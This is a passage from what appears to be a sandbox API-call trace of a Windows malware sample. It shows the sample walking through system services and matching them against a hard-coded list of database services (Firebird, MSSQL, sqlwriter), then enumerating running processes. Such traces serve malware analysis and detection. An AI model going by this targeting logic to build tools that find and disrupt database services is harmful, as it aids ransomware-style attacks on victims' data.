lpString2="CryptSvc") returned 1 [0194.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0194.327] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0194.327] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0194.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0194.327] lstrlenW (lpString="DcomLaunch") returned 10 [0194.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0194.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0194.327] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0194.327] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0194.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0194.327] lstrlenW (lpString="DeviceAssociationService") returned 24 [0194.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0194.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0194.327] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0194.327] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0194.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0194.327] lstrlenW (lpString="Dhcp") returned 4 [0194.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0194.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0194.328] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0194.328] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0194.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0194.328] lstrlenW (lpString="Dnscache") returned 8 [0194.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0194.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0194.328] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0194.328] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0194.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0194.328] lstrlenW (lpString="DPS") returned 3 [0194.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0194.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0194.328] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0194.328] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0194.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0194.328] lstrlenW (lpString="DusmSvc") returned 7 [0194.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0194.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0194.328] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0194.328] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0194.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0194.328] lstrlenW (lpString="EventLog") returned 8 [0194.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0194.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0194.328] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0194.328] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0194.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0194.328] lstrlenW (lpString="EventSystem") returned 11 [0194.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0194.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0194.329] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0194.329] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0194.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0194.329] lstrlenW (lpString="FontCache") returned 9 [0194.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0194.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0194.329] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0194.329] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0194.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0194.329] lstrlenW (lpString="gpsvc") returned 5 [0194.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0194.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0194.329] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0194.329] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0194.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0194.329] lstrlenW (lpString="iphlpsvc") returned 8 [0194.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0194.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0194.329] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0194.329] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0194.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0194.329] lstrlenW (lpString="KeyIso") returned 6 [0194.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0194.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0194.329] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0194.329] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0194.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0194.329] lstrlenW (lpString="LanmanServer") returned 12 [0194.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0194.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0194.330] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0194.330] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0194.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0194.330] lstrlenW (lpString="LanmanWorkstation") returned 17 [0194.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0194.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0194.330] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0194.330] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0194.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0194.330] lstrlenW (lpString="lfsvc") returned 5 [0194.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0194.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0194.330] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0194.330] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0194.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0194.330] lstrlenW (lpString="lmhosts") returned 7 [0194.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0194.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0194.330] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0194.330] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0194.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0194.330] lstrlenW (lpString="LSM") returned 3 [0194.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0194.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0194.330] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0194.330] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0194.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0194.330] lstrlenW (lpString="MpsSvc") returned 6 [0194.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0194.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0194.331] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0194.331] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0194.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0194.331] lstrlenW (lpString="NcbService") returned 10 [0194.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0194.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0194.331] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0194.331] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0194.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0194.331] lstrlenW (lpString="netprofm") returned 8 [0194.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0194.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0194.331] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0194.331] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0194.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0194.331] lstrlenW (lpString="NgcSvc") returned 6 [0194.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0194.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0194.331] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0194.331] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0194.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0194.331] lstrlenW (lpString="NlaSvc") returned 6 [0194.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0194.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0194.331] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0194.331] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0194.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0194.331] lstrlenW (lpString="nsi") returned 3 [0194.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0194.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0194.332] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0194.332] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0194.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0194.332] lstrlenW (lpString="PcaSvc") returned 6 [0194.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0194.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0194.332] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0194.332] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0194.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0194.332] lstrlenW (lpString="PlugPlay") returned 8 [0194.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0194.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0194.332] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0194.332] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0194.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0194.332] lstrlenW (lpString="Power") returned 5 [0194.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0194.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0194.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0194.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0194.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0194.332] lstrlenW (lpString="ProfSvc") returned 7 [0194.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0194.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0194.332] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0194.332] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0194.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0194.332] lstrlenW (lpString="RpcEptMapper") returned 12 [0194.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0194.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0194.333] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0194.333] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0194.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0194.333] lstrlenW (lpString="RpcSs") returned 5 [0194.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0194.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0194.333] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0194.333] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0194.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0194.333] lstrlenW (lpString="SamSs") returned 5 [0194.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0194.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0194.333] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0194.333] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0194.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0194.333] lstrlenW (lpString="Schedule") returned 8 [0194.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0194.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0194.333] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0194.333] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0194.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0194.333] lstrlenW (lpString="SecurityHealthService") returned 21 [0194.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0194.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0194.333] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0194.333] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0194.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0194.333] lstrlenW (lpString="SENS") returned 4 [0194.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0194.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0194.334] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0194.334] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0194.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0194.334] lstrlenW (lpString="ShellHWDetection") returned 16 [0194.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0194.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0194.334] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0194.334] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0194.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0194.334] lstrlenW (lpString="Spooler") returned 7 [0194.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0194.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0194.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0194.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0194.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0194.334] lstrlenW (lpString="StateRepository") returned 15 [0194.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0194.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0194.334] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0194.334] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0194.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0194.334] lstrlenW (lpString="SysMain") returned 7 [0194.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0194.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0194.335] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0194.335] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0194.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0194.335] lstrlenW (lpString="SystemEventsBroker") returned 18 [0194.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0194.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0194.335] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0194.335] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0194.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0194.335] lstrlenW (lpString="Themes") returned 6 [0194.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0194.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0194.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0194.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0194.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0194.345] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0194.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0194.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0194.345] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0194.345] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0194.345] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4663fc0 | out: hHeap=0x710000) returned 1 [0194.346] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x538 [0194.436] Process32FirstW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.437] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0194.438] lstrlenW (lpString="System") returned 6 [0194.438] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0194.439] lstrlenW (lpString="smss.exe") returned 8 [0194.439] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0194.440] lstrlenW (lpString="csrss.exe") returned 9 [0194.440] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0194.441] lstrlenW (lpString="wininit.exe") returned 11 [0194.441] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0194.442] lstrlenW (lpString="csrss.exe") returned 9 [0194.442] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0194.443] lstrlenW (lpString="winlogon.exe") returned 12 [0194.443] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0194.444] lstrlenW (lpString="services.exe") returned 12 [0194.444] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0194.445] lstrlenW (lpString="lsass.exe") returned 9 [0194.445] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0194.446] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0194.446] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0194.447] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0194.447] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.448] lstrlenW (lpString="svchost.exe") returned 11 [0194.448] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.449] lstrlenW (lpString="svchost.exe") returned 11 [0194.449] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0194.450] lstrlenW (lpString="dwm.exe") returned 7 [0194.450] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.451] lstrlenW (lpString="svchost.exe") returned 11 [0194.451] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.452] lstrlenW (lpString="svchost.exe") returned 11 [0194.452] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.453] lstrlenW (lpString="svchost.exe") returned 11 [0194.453] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.454] lstrlenW (lpString="svchost.exe") returned 11 [0194.454] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.455] lstrlenW (lpString="svchost.exe") returned 11 [0194.456] Process32NextW (in: hSnapshot=0x538, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, 